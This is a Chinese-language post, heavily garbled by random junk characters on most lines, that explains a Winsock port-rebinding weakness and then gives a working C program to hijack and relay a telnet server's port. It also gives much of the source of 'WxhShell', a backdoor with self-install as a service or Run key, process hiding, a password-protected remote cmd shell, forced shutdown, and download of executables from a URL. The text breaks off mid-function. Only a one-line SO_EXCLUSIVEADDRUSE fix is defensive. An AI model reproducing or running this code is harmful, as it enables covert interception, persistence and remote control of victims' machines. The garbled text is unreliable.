在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
01o4Th m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ws^ np 4v|W-h"K saddr.sin_family = AF_INET;
u>/ TE 61
~upQaR saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t&Og $@ BL58] P84 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
RzusNS $u6
3]rypm 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'[O;zJN; ~< x:q6
这意味着什么?意味着可以进行如下的攻击:
y18Y:)DkL 6\S~P/PkE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9]@!S|1 *HB-QIl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1g~R/*Jo j1HW._G 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/|#fejPh W|(1Y
D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
kz7(Z'pw e(8Ba X_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ld-_,-n IdxzE_@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
W'TaBuCb pcI uN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
S>;
5[l 4 9JKEw #include
HLHz2-lI #include
x3eZ^8^1} #include
f'3$9x #include
VgS_s k DWORD WINAPI ClientThread(LPVOID lpParam);
rk)`\=No int main()
,wdD8ZT'Ip {
9@)O_@= WORD wVersionRequested;
##4HYQ%E DWORD ret;
t<?,F WSADATA wsaData;
Y:)e(c"A BOOL val;
B^jc3 VsR SOCKADDR_IN saddr;
fa2kG&, _ SOCKADDR_IN scaddr;
S`m]f5u| int err;
U|j`e5) SOCKET s;
%GIr&V4| SOCKET sc;
`x%>8/ int caddsize;
"Os_vlapHo HANDLE mt;
ps DetP
DWORD tid;
Xm2z}X(% wVersionRequested = MAKEWORD( 2, 2 );
S?BG_J6A7 err = WSAStartup( wVersionRequested, &wsaData );
4|#WFLo@ if ( err != 0 ) {
>~+ELVB& printf("error!WSAStartup failed!\n");
{P#|zp 4C{ return -1;
&Z|P2 dI }
VTHH&$ZNq saddr.sin_family = AF_INET;
wJY' n>U5R_T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2jCf T>`3 KdbHyg<4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H~z`]5CN saddr.sin_port = htons(23);
PRE|+=w$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
VBcPu {
QUQ'3 printf("error!socket failed!\n");
`,*5wBC return -1;
Tc3yS(aq }
#
c^z&0B} val = TRUE;
WvZ8/T'x //SO_REUSEADDR选项就是可以实现端口重绑定的
m/EFHS49 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4#hSJ(~7S {
J`1rJ printf("error!setsockopt failed!\n");
V,N%;iB} return -1;
t}tEvh }
G?Hdq; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~gRf:VXX=_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4)o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?#UO./ " OprkR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
OY@ %p}l {
w$-6-rE]d ret=GetLastError();
S#}
KIy printf("error!bind failed!\n");
BsYa3d=} return -1;
*%@h(js }
=+d?x56 listen(s,2);
2*#|Nj=^ while(1)
4d;8`66O {
v0jgki4t caddsize = sizeof(scaddr);
]
{HI?V //接受连接请求
TBU&6M>{3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
I`4*+a'q& if(sc!=INVALID_SOCKET)
q{;:SgZ {
Nf1-!u7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
k7usMVAA if(mt==NULL)
QGmn#]w\\ {
SS.dY""89 printf("Thread Creat Failed!\n");
<B8!.|19 break;
0b(N^$js' }
K:30_l< }
e'D&8z_; CloseHandle(mt);
I"7u2"@-8j }
bhlG,NTP closesocket(s);
vTw>JNVI WSACleanup();
GYUn6P return 0;
yd`mG{Z }
'u<juFr DWORD WINAPI ClientThread(LPVOID lpParam)
y;@:ulv[ {
$[=%R`~w SOCKET ss = (SOCKET)lpParam;
,]c
1A$Sr0 SOCKET sc;
S\!ana]) unsigned char buf[4096];
!H>R%g#28_ SOCKADDR_IN saddr;
#"iu|D long num;
[-oc>;`=l DWORD val;
AX/m25x DWORD ret;
LOV)3{m //如果是隐藏端口应用的话,可以在此处加一些判断
H\tUpan6fy //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Jz
*;q~ saddr.sin_family = AF_INET;
\7'{g@C( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?"g2v-jTK saddr.sin_port = htons(23);
&m:uO^-D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/{--+
C {
>]5P
3\AQV printf("error!socket failed!\n");
W#WV fr return -1;
Whf.fK }
_X"N1,0 val = 100;
AoL2@C.C%D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:y jKL^G> {
WWHoi{q ret = GetLastError();
ut/=R !(K return -1;
|R\>@Mg#B }
bYQRBi if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
um>6z_" {
Q9G;V]./ ret = GetLastError();
xLH)P<^`C return -1;
Bad:no\W }
O~K>4ax if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
eb"5-0 {
Z lzjVU/E printf("error!socket connect failed!\n");
ptxbDzOz closesocket(sc);
h6`6tk closesocket(ss);
UVIKQpA]A return -1;
uT7B#b7 }
1 \6D '/G while(1)
KE3;V2Ym f {
G..aiA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0o*8#i/)!3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
6- B|Y3)B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_#8RSr8'y num = recv(ss,buf,4096,0);
Ur=(.%@ if(num>0)
R)ITy!z send(sc,buf,num,0);
6wECo else if(num==0)
!.(P~j][ break;
I(7NQ8Hx num = recv(sc,buf,4096,0);
VYImI>.t{ if(num>0)
Ob`d send(ss,buf,num,0);
=\:qo'l else if(num==0)
s?,Ek break;
G`BU=Fi }
J B]q closesocket(ss);
'|p$)yx2 closesocket(sc);
HqD^B[jS return 0 ;
<oA7'|Bu< }
2OR{[L*
b:]V`uF? T\j{Bi5 \J ==========================================================
y^v6AM 0rG^,(3m 下边附上一个代码,,WXhSHELL
`gf0l /d .-oxb,/ ==========================================================
?FF4zI~ kw%};; #include "stdafx.h"
O%KsD[W; (~wqa 3 #include <stdio.h>
ww $ #include <string.h>
qPy1;maXP #include <windows.h>
kN4{13Qs* #include <winsock2.h>
o{q{!7DH@ #include <winsvc.h>
.ndCfdy~ #include <urlmon.h>
?3zc=J"t aYS!xh206 #pragma comment (lib, "Ws2_32.lib")
2:7zG"$ #pragma comment (lib, "urlmon.lib")
4\u1TYR "x*egI #define MAX_USER 100 // 最大客户端连接数
PV\+P6aIb #define BUF_SOCK 200 // sock buffer
]<rkxgMW> #define KEY_BUFF 255 // 输入 buffer
oO|KEY( ,UGRrS #define REBOOT 0 // 重启
%r}{hq4 #define SHUTDOWN 1 // 关机
bITPQ7+ WR yaKM #define DEF_PORT 5000 // 监听端口
yiC^aY=- ?6un4EVL{ #define REG_LEN 16 // 注册表键长度
UK O[r; #define SVC_LEN 80 // NT服务名长度
wFsyD3 ';jYOVe // 从dll定义API
>TnTnF WX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7k9G(i[-+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3|4|*6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
VE{3} S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
<vh/4 kJzoFFWo$ // wxhshell配置信息
6qoyiT%P& struct WSCFG {
e2t-4}
ww int ws_port; // 监听端口
QaS7z#/?. char ws_passstr[REG_LEN]; // 口令
h
WtVWVNL int ws_autoins; // 安装标记, 1=yes 0=no
vAh6+K.e char ws_regname[REG_LEN]; // 注册表键名
,3p~w5C/+[ char ws_svcname[REG_LEN]; // 服务名
BJsz2t :0 char ws_svcdisp[SVC_LEN]; // 服务显示名
#W'HR char ws_svcdesc[SVC_LEN]; // 服务描述信息
>
BY&,4r char ws_passmsg[SVC_LEN]; // 密码输入提示信息
wq(7|!Eix int ws_downexe; // 下载执行标记, 1=yes 0=no
Z/0fXn}) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(SDr!!V< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uU <=d _c*=4y };
bg&zo;Ck8T ;/fF,L{c // default Wxhshell configuration
sRx63{ struct WSCFG wscfg={DEF_PORT,
SmdjyK1~8 "xuhuanlingzhe",
=`:K{loxq 1,
1V4s<m># "Wxhshell",
-tHU6s, "Wxhshell",
.
Z.)t "WxhShell Service",
uK$9Ll{lk "Wrsky Windows CmdShell Service",
!^=*Jq> "Please Input Your Password: ",
BJB^m|b) 1,
D2!X?"[P "
http://www.wrsky.com/wxhshell.exe",
UAFwi%@!-q "Wxhshell.exe"
Xti[[s J };
O[s{ Gk'>
;"fDUY| // 消息定义模块
eg?<mKrZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Hl/
QnI! char *msg_ws_prompt="\n\r? for help\n\r#>";
BuWHX>H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
P'*)\faw char *msg_ws_ext="\n\rExit.";
V=qwwYz~ char *msg_ws_end="\n\rQuit.";
K[Kh&`T char *msg_ws_boot="\n\rReboot...";
cc&axc7I char *msg_ws_poff="\n\rShutdown...";
Xg
SxN!I char *msg_ws_down="\n\rSave to ";
!\i\}feb Co9QW/'i char *msg_ws_err="\n\rErr!";
hMUs"
<. char *msg_ws_ok="\n\rOK!";
fA<[f (m.ob+D char ExeFile[MAX_PATH];
8a="/J int nUser = 0;
V\6[}J HANDLE handles[MAX_USER];
^G.Xc\^w: int OsIsNt;
QM
O!v; Nz+949X SERVICE_STATUS serviceStatus;
rI>aAW' SERVICE_STATUS_HANDLE hServiceStatusHandle;
h\.zdpR O-cbX/d // 函数声明
AW_(T\P:u int Install(void);
s3O} 6 int Uninstall(void);
Q`D~5ci int DownloadFile(char *sURL, SOCKET wsh);
X M#T'S9y8 int Boot(int flag);
.ir<s>YM void HideProc(void);
Q/I!}C4 int GetOsVer(void);
`'c_=<&n int Wxhshell(SOCKET wsl);
x&9hI void TalkWithClient(void *cs);
C\nhqkn int CmdShell(SOCKET sock);
6morum int StartFromService(void);
2f:Eof(B
int StartWxhshell(LPSTR lpCmdLine);
}i`PGx [}8|R0KF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2?,EzBeal VOID WINAPI NTServiceHandler( DWORD fdwControl );
"D'B3; uWK ,(?po('] // 数据结构和表定义
?-^m` SERVICE_TABLE_ENTRY DispatchTable[] =
J6%AH?Mt {
O.Iu6D {wscfg.ws_svcname, NTServiceMain},
PSVc+s[Q+V {NULL, NULL}
`v}%33$hA };
8J~1-; !Mim@!5M // 自我安装
&f^l^K5: int Install(void)
Jn3 An {
1Q4}'0U4 char svExeFile[MAX_PATH];
$Y_i4( HKEY key;
1jPJw3"3h strcpy(svExeFile,ExeFile);
&S]@Ot<z F;[T#N:~ // 如果是win9x系统,修改注册表设为自启动
7.@TK& if(!OsIsNt) {
%]6~Eq%s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@@rEs40 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,0~9dS RegCloseKey(key);
P=&o%K,:f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<Ib[82PU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vab@-=%k RegCloseKey(key);
tBT<EV{ G return 0;
AfP'EP0m }
9D}/\jM }
,FMx5$ }
ivz>dJ ?T else {
:ORR_f`> }kK[S|XVO // 如果是NT以上系统,安装为系统服务
=;|QZ"%E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
FwY&/\J7V if (schSCManager!=0)
f<*Js)k {
MR,R}B$ SC_HANDLE schService = CreateService
I,VH=Yn5, (
3a 1 u schSCManager,
Cc<,z*T wscfg.ws_svcname,
d,tU#N{Q6 wscfg.ws_svcdisp,
mBJeqG SERVICE_ALL_ACCESS,
TsUOpEuX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-zO2|@S, SERVICE_AUTO_START,
'vq:D$A SERVICE_ERROR_NORMAL,
/`;n@0k>2 svExeFile,
rs*Fy@ NULL,
Kryo} NULL,
ZA9sTc[
g NULL,
aKlUX NULL,
;?~$h-9) NULL
|*Yf.- );
L IVU^Os. if (schService!=0)
-0eq_+oQ {
5"]~oPK CloseServiceHandle(schService);
P"?FnTbv[ CloseServiceHandle(schSCManager);
7Wa?$6d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[NIlbjYH strcat(svExeFile,wscfg.ws_svcname);
ELjK0pE}- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#D9e$E(J^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2gjGeM RegCloseKey(key);
zrv#Xa!O\ return 0;
^6P3% }
6ubL1K }
fr}Eaa-{^ CloseServiceHandle(schSCManager);
X _G| hx }
>'5_Y]h4m| }
|*X*n*oI K+)%KP return 1;
zYv#:>C8 }
|Uk"
{ q;D+ai // 自我卸载
F@!Td(r2 int Uninstall(void)
qG/fE'(j& {
pdb1GDl0q HKEY key;
CGP3qHrXt Bo+DJizu if(!OsIsNt) {
m8JR@!t7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ty@=yA17 RegDeleteValue(key,wscfg.ws_regname);
,j ',x\ RegCloseKey(key);
).HDru-2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*tX{MSYW RegDeleteValue(key,wscfg.ws_regname);
9Sq%s& RegCloseKey(key);
5P hX"7 return 0;
<U9/InN0[ }
EQIo5 }
{"H2 :-t< }
1?Aga,~k:a else {
o}'bv \cJ-Dd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
$]&(7@'qo if (schSCManager!=0)
NLe}Jqp {
%=<IGce SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(9mM kU= if (schService!=0)
lE
;jCN {
XC3Kh^ if(DeleteService(schService)!=0) {
'[(nmx'yVJ CloseServiceHandle(schService);
o1OBwPj
CloseServiceHandle(schSCManager);
Gy Qm/I return 0;
}Y1>(U }
w_4]xgS: CloseServiceHandle(schService);
=AEz9d ciS }
eL.7#SIr} CloseServiceHandle(schSCManager);
G>Em!4h }
HFQR
;9] }
rJ'I>Q~x6 o:dR5v return 1;
i=32KI(% }
V'2EPYB +1Ph<zq" // 从指定url下载文件
Lx U={Y0 int DownloadFile(char *sURL, SOCKET wsh)
5[9bWB{ {
X#UMIlU HRESULT hr;
sK=}E= char seps[]= "/";
a)! g7u char *token;
[rOaM$3| char *file;
zN_:nY> char myURL[MAX_PATH];
mN5
8r"!J char myFILE[MAX_PATH];
t.hm9}UQ Vjm_F!S strcpy(myURL,sURL);
,Ci/xnI token=strtok(myURL,seps);
A?"h@-~2 while(token!=NULL)
UU}7U]9u {
.`Zf}[5[ file=token;
<;t)6:N\ token=strtok(NULL,seps);
I#FF*@oeM }
hvt@XZT m>e3vu GetCurrentDirectory(MAX_PATH,myFILE);
dYojm1MQ strcat(myFILE, "\\");
;}.Kb strcat(myFILE, file);
{sv{847V send(wsh,myFILE,strlen(myFILE),0);
rp:wQH7 send(wsh,"...",3,0);
<B&R6<]T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
q cA`)j if(hr==S_OK)
qturd7 return 0;
Y
ZaP else
7/X"z=Q^| return 1;
Zq ot{s N\1/JW+ }
4`2$_T$F +MO E // 系统电源模块
M\+* P,i int Boot(int flag)
8xI`jE"1 {
W)SjQp6 HANDLE hToken;
g42R 'E% TOKEN_PRIVILEGES tkp;
|AH@ EI> 3@O0^v- if(OsIsNt) {
?Zyok]s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gw3NS8
A+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
z]$j7 dp tkp.PrivilegeCount = 1;
vh>{_
# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
DcV<y-`'1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
azb=(l- if(flag==REBOOT) {
/k"hH\Pp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K{}4zuZ return 0;
L]2<&%N2 }
R+$8w2# else {
f'dK73Xof if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
cc> return 0;
0%)5.=6 }
VZA3IbK} }
BSp$F WvT? else {
Q)Dwq? if(flag==REBOOT) {
+~|AT+|iI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1}`LTPW9 return 0;
RyRqH:p)3 }
~' =lou else {
voRfjsS~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,\hYEup return 0;
_Nu`)m }
I Ru$oF} }
}NX\~S" liNON return 1;
Q.(51]' }
u5gZxO1J5 v`G U09 // win9x进程隐藏模块
#cEq_[yI void HideProc(void)
sdF3cX {
2Yyb#Ow r2G*!qK*1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Z[,`"}}hv= if ( hKernel != NULL )
135Par5v {
U
\Dca&= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-Q`Cq|s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q?VVYZXP FreeLibrary(hKernel);
":&|[9/ }
&9kiO rqvU8T7A return;
6dT|;koWbm }
2_olT_# :2q
?>\ // 获取操作系统版本
p\txlT int GetOsVer(void)
Rx.
rj~ {
tm xP Oe OSVERSIONINFO winfo;
BpXEK.Xw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
HRRngk#lV GetVersionEx(&winfo);
f0F#Yi{fw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
VA]ZR+m return 1;
@bQ!zCI else
>7FSH"8[, return 0;
-g2{681`r }
[n<.fw8$b )b9I@)C // 客户端句柄模块
'{D%\w5{ int Wxhshell(SOCKET wsl)
[>uwk``_ {
iy
3DX|] SOCKET wsh;
[oHOHp/V struct sockaddr_in client;
.xv^G?GG DWORD myID;
EC dfLn *c QBj Y&(vY while(nUser<MAX_USER)
ty;o&w$ {
2<.Vv\
= int nSize=sizeof(client);
2?*1~ 5~I wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`t\z if(wsh==INVALID_SOCKET) return 1;
CI1m5g [P S^g]:Xh& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
F r/QW7B5 if(handles[nUser]==0)
`1p?*9Ssn closesocket(wsh);
&(\@sxAyZ else
}@4|7 nUser++;
y84XoDQ }
2vXGO|W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
uk{J@&F {1 HB!@%,( return 0;
xf UhSt }
o(SuUGW 6Wu*.53 // 关闭 socket
<\xQ7|e void CloseIt(SOCKET wsh)
I_L;T {
'qlxAYw<f closesocket(wsh);
j)<[j&OWw nUser--;
1(F'~i|5 ExitThread(0);
ht$ WF }
D1~^\)* 3 \9][S-B // 客户端请求句柄
0kz7 >v void TalkWithClient(void *cs)
f8F1~q {
H.;yLL= c( 8W8R SOCKET wsh=(SOCKET)cs;
k%a?SU<f char pwd[SVC_LEN];
x_pMG!2 char cmd[KEY_BUFF];
;op'V6iG char chr[1];
_PdAN= C3 int i,j;
1uj05aZh} c; d"XiA while (nUser < MAX_USER) {
bAdAp W up7x)w: if(wscfg.ws_passstr) {
QZ9M{Y/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vD"_X"v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nvwDx*[qN //ZeroMemory(pwd,KEY_BUFF);
J4&XPr9 i=0;
FrgV@4'2G while(i<SVC_LEN) {
kt5YgW $/y%[ . // 设置超时
7@\GU].2 fd_set FdRead;
#s/{u
RYQ struct timeval TimeOut;
vzQyE0T/ FD_ZERO(&FdRead);
@YbZ8Uc FD_SET(wsh,&FdRead);
Hm<M@M$aG TimeOut.tv_sec=8;
-<12~HKK:: TimeOut.tv_usec=0;
gtl;P_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
aSxG|OkKy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5]Z] j[8Y 7a27^b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k.h^ $f pwd
=chr[0]; olslzXn7o
if(chr[0]==0xd || chr[0]==0xa) { &?fvt
pwd=0; c[6 zX#{`
break; lP-kZA!
} orK +B4
i++; S So~.)J
} xBt4~q;#sE
Y#.6d
// 如果是非法用户,关闭 socket G-Zr M
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V=Ww>
} +,:nm_kQU
W=!F8g|Qz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W=(MsuirO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]VmzKA|h+
+EQpD.
while(1) { YGi/]^Nba
23,%=U
ZeroMemory(cmd,KEY_BUFF); 1@s^$fvW
0fZ:")&4,
// 自动支持客户端 telnet标准 QJniM"8v
j=0; [k}dES#
while(j<KEY_BUFF) { ktdz@f
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /"g[Ay
cmd[j]=chr[0]; 4/ 0/#G#j
if(chr[0]==0xa || chr[0]==0xd) { +YkmLD
cmd[j]=0; v_[)FN"]Y.
break; n^3NA|A
} |
3hT {
j++; $a)JCErN
} hG< a
:K!GR
// 下载文件 (0Zrfu^
if(strstr(cmd,"http://")) { `,hW;p>-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 >0\e_V
if(DownloadFile(cmd,wsh)) A)~/~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0#2T0zk
else xop-f#U*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BvNl?A@]A
} v[p/c.p?i
else { {-:4O\/
w i![0IE )
switch(cmd[0]) { ~Tpe,juG_
&zaW"uy3T
// 帮助
o9DYr[
case '?': { ~pDRF(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m1M;'tT@
break; u-]vK
} g!~-^_F
// 安装 5&GQ=m
case 'i': { p3>Q<
if(Install()) - I1cAt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z{8exym
else HMl!?%%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iqc4O
/
break; )M&I)In'
} Wo<PmSt9i
// 卸载 ({ :yw
case 'r': { .YnP%X=
if(Uninstall()) ~5XL@j I^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _#y(w%
else z&6]vN'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n0>5'm%ES
break; YL0WUD_>
} 1( QWt
// 显示 wxhshell 所在路径 E.En$'BvB
case 'p': {
Q 37V!
char svExeFile[MAX_PATH]; J7 Oa})-+'
strcpy(svExeFile,"\n\r"); %M4XbSN|
strcat(svExeFile,ExeFile); (mOqv9pn
send(wsh,svExeFile,strlen(svExeFile),0); e|OG-t[$*
break; fwar8
i1
} C.Wms}XA
// 重启 v#T?YK
case 'b': { c1Fru
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )l 4>=y
if(Boot(REBOOT)) w[J
(E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4<M|1Z&
else { Lv`8jSt\
closesocket(wsh); 71}L#nQ
ExitThread(0); F|h,a;2
} TYmUPS$
break; f0N)N}y
} |zRoXO`]-*
// 关机 -E,{r[Sp
case 'd': { 7><*
9iOW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R?={{+O
if(Boot(SHUTDOWN)) 5KA
FUR0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr$VVbOho
else { ;c \zgs~"T
closesocket(wsh); D!OG307P
ExitThread(0); +lk\oj$S+
} H *z0xxa
break; 4P-'(4I)
} m,"cbJ
/
// 获取shell nf+"vr}1
case 's': { +Y>cBSO
CmdShell(wsh); NXV~[
closesocket(wsh); yC&b-y
ExitThread(0); k7Be'E
BKG
break; It!.*wp
} =km-`}I,
// 退出 <(6-9(zHa
case 'x': { qKI4p3&E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fc{6*wtO
CloseIt(wsh); [/#k$-
break; {TcbCjyw
} 4BUK5)B
// 离开 iJynR [7
case 'q': { ,&pF:qlF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pvb+
closesocket(wsh); 2)j#O
WSACleanup(); ^r?sgJ
exit(1); BW(DaNt^
break; :n%sU*'T
} a_}BTkfHa
} T/spUlWu
} D/%b@Ls2ze
IZ(CRKCGBl
// 提示信息 07G*M ]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >sl1 cC
} =+sIX3
} 5k7(!
xhVq
return; JQvQm|\nc
} NXG}0`QVT
OrKT~JQVC&
// shell模块句柄 WriJco<v
int CmdShell(SOCKET sock) N6m*xxI{
{ (
_F
STARTUPINFO si; lDX&v$
ZeroMemory(&si,sizeof(si)); %q\P 'cK
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] l qFht
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <=GzK:4L
PROCESS_INFORMATION ProcessInfo; /{#_Um0.
char cmdline[]="cmd"; #t9=qR~"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DoPF/m}
return 0; 1{fwr1b
} 6w`}+3
LZAj4|~,m
// 自身启动模式 vM>`CZ
int StartFromService(void) ~D-OL*2
{ 7.1E mJ
typedef struct V2sB[Mw
{ k`J..f9
DWORD ExitStatus; N~K)0RETn
DWORD PebBaseAddress; YC,.Y{oY{
DWORD AffinityMask; tEs[zo+DR-
DWORD BasePriority; X-) ]lAP
ULONG UniqueProcessId; kBQenMm
ULONG InheritedFromUniqueProcessId; N\?Az668?
